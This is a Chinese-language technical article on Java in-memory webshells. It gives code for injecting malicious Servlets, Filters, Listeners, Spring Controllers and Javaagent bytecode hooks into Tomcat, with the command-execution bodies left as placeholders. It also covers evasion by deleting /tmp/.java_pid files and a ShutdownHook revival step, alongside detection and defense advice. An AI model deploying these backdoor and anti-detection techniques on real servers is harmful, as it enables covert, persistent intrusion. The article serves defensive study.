JAVA内存马的“一生”
字数 1847 2025-08-29 08:31:47

Java内存马技术全面解析与防御指南

一、Java内存马概述

Java内存马是一种无落地文件、运行在内存中的后门木马技术,具有隐蔽性强、难以检测的特点。与传统的WebShell相比,内存马不依赖磁盘文件,仅存在于内存中,通常服务器重启即可消除。

内存马分类

  1. 基于动态添加Servlet组件的内存马

    • 通过动态注册Servlet、Filter或Listener实现
    • 主要针对Tomcat等Servlet容器
  2. 基于动态添加框架组件的内存马

    • 针对Spring、SpringBoot等框架
    • 如动态注册Controller
  3. 基于Javaagent和Javassist技术的内存马

    • 通过Instrumentation API修改字节码
    • 通用性强,不依赖特定URL路径

二、技术基础

Tomcat核心组件

  1. 容器层级结构

    • Engine → Host → Context → Wrapper
    • StandardContext对象是关键控制点
  2. Servlet三大组件

    • Servlet:处理请求的核心组件
    • Filter:请求过滤器,形成FilterChain
    • Listener:事件监听器
  3. StandardContext获取方法

    // 通过request获取
    ServletContext servletContext = request.getServletContext();
    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext)appctx.get(servletContext);
    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext)stdctx.get(applicationContext);
    
    // 通过线程上下文获取
    WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase)Thread.currentThread().getContextClassLoader();
    StandardContext standardContext = (StandardContext)webappClassLoaderBase.getResources().getContext();
    

Javaagent技术

Javaagent分为两种模式:

  1. premain:主程序运行前加载
  2. agentmain:主程序运行后动态加载(内存马常用)

关键类:

  • java.lang.instrument.Instrumentation
  • java.lang.instrument.ClassFileTransformer

Javassist技术

动态修改字节码的库,主要类:

  • ClassPool:类池
  • CtClass:表示类
  • CtMethod:表示方法
  • CtField:表示字段

三、内存马实现技术

1. 动态注册Servlet组件

动态注册Servlet示例

<%
// 获取StandardContext
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext)appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext)stdctx.get(applicationContext);

// 创建恶意Servlet
Servlet servlet = new Servlet() {
    @Override
    public void service(ServletRequest req, ServletResponse res) throws IOException {
        String cmd = req.getParameter("cmd");
        // 命令执行逻辑...
    }
    // 其他方法实现...
};

// 创建Wrapper并注册
org.apache.catalina.Wrapper newWrapper = standardContext.createWrapper();
newWrapper.setName("memshell");
newWrapper.setServlet(servlet);
standardContext.addChild(newWrapper);
standardContext.addServletMappingDecoded("/shell", "memshell");
%>

动态注册Filter示例

<%
// 获取StandardContext同上...

// 创建恶意Filter
Filter filter = new Filter() {
    @Override
    public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) throws IOException {
        if (req.getParameter("cmd") != null) {
            // 命令执行逻辑...
            return;
        }
        chain.doFilter(req, res);
    }
    // 其他方法实现...
};

// 创建FilterDef和FilterMap
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName("memshell");
standardContext.addFilterDef(filterDef);

FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName("memshell");
standardContext.addFilterMapBefore(filterMap);
%>

动态注册Listener示例

<%
// 获取StandardContext同上...

// 创建恶意Listener
ServletRequestListener listener = new ServletRequestListener() {
    @Override
    public void requestDestroyed(ServletRequestEvent sre) {
        HttpServletRequest req = (HttpServletRequest)sre.getServletRequest();
        if (req.getParameter("cmd") != null) {
            // 命令执行逻辑...
        }
    }
    // 其他方法实现...
};

standardContext.addApplicationEventListener(listener);
%>

2. 动态注册框架组件(SpringBoot)

@Controller
public class NoshellController {
    @RequestMapping("/noshell")
    public void noshell(HttpServletRequest request) throws Exception {
        // 获取Spring上下文
        WebApplicationContext context = (WebApplicationContext)RequestContextHolder
            .currentRequestAttributes()
            .getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        
        RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
        
        // 获取恶意方法
        Method method = Evil.class.getMethod("test");
        
        // 配置映射信息
        PatternsRequestCondition url = new PatternsRequestCondition("/shell");
        RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
        RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
        
        // 注册Controller
        Evil injectToController = new Evil();
        mappingHandlerMapping.registerMapping(info, injectToController, method);
    }
    
    public class Evil {
        public void test() throws Exception {
            // 命令执行逻辑...
        }
    }
}

3. Javaagent型内存马

Agent实现

public class Agentthing {
    public static void agentmain(String agentArgs, Instrumentation inst) throws Exception {
        inst.addTransformer(new Transformerthings(), true);
        for (Class cl : inst.getAllLoadedClasses()) {
            if (cl.getName().equals("org.apache.catalina.core.ApplicationFilterChain")) {
                inst.retransformClasses(cl); // 或redefineClasses
            }
        }
    }
}

public class Transformerthings implements ClassFileTransformer {
    @Override
    public byte[] transform(ClassLoader loader, String className, 
            Class<?> classBeingRedefined, ProtectionDomain protectionDomain, 
            byte[] classfileBuffer) {
        if (className.equals("org/apache/catalina/core/ApplicationFilterChain")) {
            try {
                ClassPool cp = ClassPool.getDefault();
                CtClass cc = cp.get("org.apache.catalina.core.ApplicationFilterChain");
                CtMethod m = cc.getDeclaredMethod("internalDoFilter");
                
                // 插入恶意代码
                m.insertBefore("javax.servlet.http.HttpServletRequest req = $1;" +
                    "String cmd = req.getParameter(\"cmd\");" +
                    "if(cmd != null) {" +
                    "   // 命令执行逻辑..." +
                    "}");
                
                return cc.toBytecode();
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
        return null;
    }
}

Attach实现

public class Attachthing {
    public static void main(String[] args) throws Exception {
        String pid = getTomcatPid(); // 通过jps获取Tomcat PID
        VirtualMachine vm = VirtualMachine.attach(pid);
        vm.loadAgent("agent.jar");
        vm.detach();
    }
}

四、主流工具分析

冰蝎内存马实现特点

  1. 使用Javaagent技术实现
  2. 通过redefineClasses方法修改字节码
  3. 主要修改jakarta.servlet.http.HttpServlet
  4. 实现防检测功能(删除/tmp/.java_pid*文件)

哥斯拉内存马实现特点

  1. 使用动态注册Servlet方式
  2. 首次连接加载完整payload
  3. 后续通过加密传输函数名和参数调用
  4. 可动态卸载内存马

五、检测与查杀技术

1. Javaagent型内存马检测

针对retransformClasses实现的检测

public class ScannerAgent {
    public static void agentmain(String args, Instrumentation inst) throws Exception {
        inst.addTransformer(new ScannerTransformer(), true);
        inst.retransformClasses(ApplicationFilterChain.class);
    }
}

public class ScannerTransformer implements ClassFileTransformer {
    @Override
    public byte[] transform(ClassLoader loader, String className, 
            Class<?> classBeingRedefined, byte[] classfileBuffer) {
        if (className.equals("org/apache/catalina/core/ApplicationFilterChain")) {
            // 对比当前字节码与原始字节码
            byte[] original = getOriginalBytecode();
            if (!Arrays.equals(classfileBuffer, original)) {
                return original; // 恢复原始字节码
            }
        }
        return null;
    }
}

针对redefineClasses实现的检测

使用sa-jdi.jar工具:

java -cp sa-jdi.jar sun.jvm.hotspot.HSDB

通过HSDB工具可以dump出被修改的类字节码。

2. Servlet/Filter型内存马检测

检测思路:

  1. 检查所有已加载类中继承Servlet/Filter/Listener的类
  2. 分析类名和关键方法字节码中的可疑特征
  3. 检查MBean注册情况(可被绕过)

3. 通用检测方法

  1. Javaagent扫描:扫描所有已加载类
  2. 字节码特征检测:查找Runtime、ProcessBuilder等调用
  3. 行为监控:监控动态组件注册行为
  4. MBean检查:检查异常的Filter/Servlet注册

六、反查杀技术

1. 冰蝎防检测技术

删除/tmp/.java_pid*文件,阻止后续Agent注入:

// 在agentmain方法中
if (isAntiAgent) {
    new File("/tmp/.java_pid" + pid).delete();
}

2. 周瑜内存马技术

拦截ClassFileTransformer实现类:

// 在transform方法中
if (className.equals("java/lang/instrument/ClassFileTransformer")) {
    return new byte[0]; // 清空字节码
}

七、持久化与复活技术

ShutdownHook复活技术

public class Agentthing {
    public static void agentmain(String args, Instrumentation inst) {
        // 注册关机钩子
        Runtime.getRuntime().addShutdownHook(new Thread(() -> {
            // 将agent保存到文件
            saveToFile();
            // 重启时重新加载
            Runtime.getRuntime().exec("java -jar inject.jar");
        }));
    }
}

八、防御建议

  1. 禁用动态注册:限制Servlet/Filter的动态注册能力
  2. Agent白名单:控制Javaagent的加载
  3. RASP防护:部署运行时应用自我保护
  4. 权限控制:严格限制Web应用权限
  5. 补丁管理:及时修复反序列化等漏洞
  6. 监控措施
    • 监控VirtualMachine.attach调用
    • 监控/tmp/.java_pid*文件操作
    • 监控异常的类修改行为

九、总结

Java内存马技术是Web安全领域的尖端攻防技术,涉及:

  • Servlet容器原理
  • Java字节码操作
  • JVM Attach机制
  • 框架内部机制

防御需要从多个层面构建防护体系,结合静态防护和动态监控,才能有效应对内存马威胁。

Java内存马技术全面解析与防御指南 一、Java内存马概述 Java内存马是一种无落地文件、运行在内存中的后门木马技术,具有隐蔽性强、难以检测的特点。与传统的WebShell相比,内存马不依赖磁盘文件,仅存在于内存中,通常服务器重启即可消除。 内存马分类 基于动态添加Servlet组件的内存马 通过动态注册Servlet、Filter或Listener实现 主要针对Tomcat等Servlet容器 基于动态添加框架组件的内存马 针对Spring、SpringBoot等框架 如动态注册Controller 基于Javaagent和Javassist技术的内存马 通过Instrumentation API修改字节码 通用性强,不依赖特定URL路径 二、技术基础 Tomcat核心组件 容器层级结构 Engine → Host → Context → Wrapper StandardContext对象是关键控制点 Servlet三大组件 Servlet:处理请求的核心组件 Filter:请求过滤器,形成FilterChain Listener:事件监听器 StandardContext获取方法 Javaagent技术 Javaagent分为两种模式: premain :主程序运行前加载 agentmain :主程序运行后动态加载(内存马常用) 关键类: java.lang.instrument.Instrumentation java.lang.instrument.ClassFileTransformer Javassist技术 动态修改字节码的库,主要类: ClassPool :类池 CtClass :表示类 CtMethod :表示方法 CtField :表示字段 三、内存马实现技术 1. 动态注册Servlet组件 动态注册Servlet示例 动态注册Filter示例 动态注册Listener示例 2. 动态注册框架组件(SpringBoot) 3. Javaagent型内存马 Agent实现 Attach实现 四、主流工具分析 冰蝎内存马实现特点 使用Javaagent技术实现 通过 redefineClasses 方法修改字节码 主要修改 jakarta.servlet.http.HttpServlet 类 实现防检测功能(删除 /tmp/.java_pid* 文件) 哥斯拉内存马实现特点 使用动态注册Servlet方式 首次连接加载完整payload 后续通过加密传输函数名和参数调用 可动态卸载内存马 五、检测与查杀技术 1. Javaagent型内存马检测 针对retransformClasses实现的检测 针对redefineClasses实现的检测 使用 sa-jdi.jar 工具: 通过HSDB工具可以dump出被修改的类字节码。 2. Servlet/Filter型内存马检测 检测思路: 检查所有已加载类中继承 Servlet/Filter/Listener 的类 分析类名和关键方法字节码中的可疑特征 检查MBean注册情况(可被绕过) 3. 通用检测方法 Javaagent扫描 :扫描所有已加载类 字节码特征检测 :查找Runtime、ProcessBuilder等调用 行为监控 :监控动态组件注册行为 MBean检查 :检查异常的Filter/Servlet注册 六、反查杀技术 1. 冰蝎防检测技术 删除 /tmp/.java_pid* 文件,阻止后续Agent注入: 2. 周瑜内存马技术 拦截 ClassFileTransformer 实现类: 七、持久化与复活技术 ShutdownHook复活技术 八、防御建议 禁用动态注册 :限制Servlet/Filter的动态注册能力 Agent白名单 :控制Javaagent的加载 RASP防护 :部署运行时应用自我保护 权限控制 :严格限制Web应用权限 补丁管理 :及时修复反序列化等漏洞 监控措施 : 监控 VirtualMachine.attach 调用 监控 /tmp/.java_pid* 文件操作 监控异常的类修改行为 九、总结 Java内存马技术是Web安全领域的尖端攻防技术,涉及: Servlet容器原理 Java字节码操作 JVM Attach机制 框架内部机制 防御需要从多个层面构建防护体系,结合静态防护和动态监控,才能有效应对内存马威胁。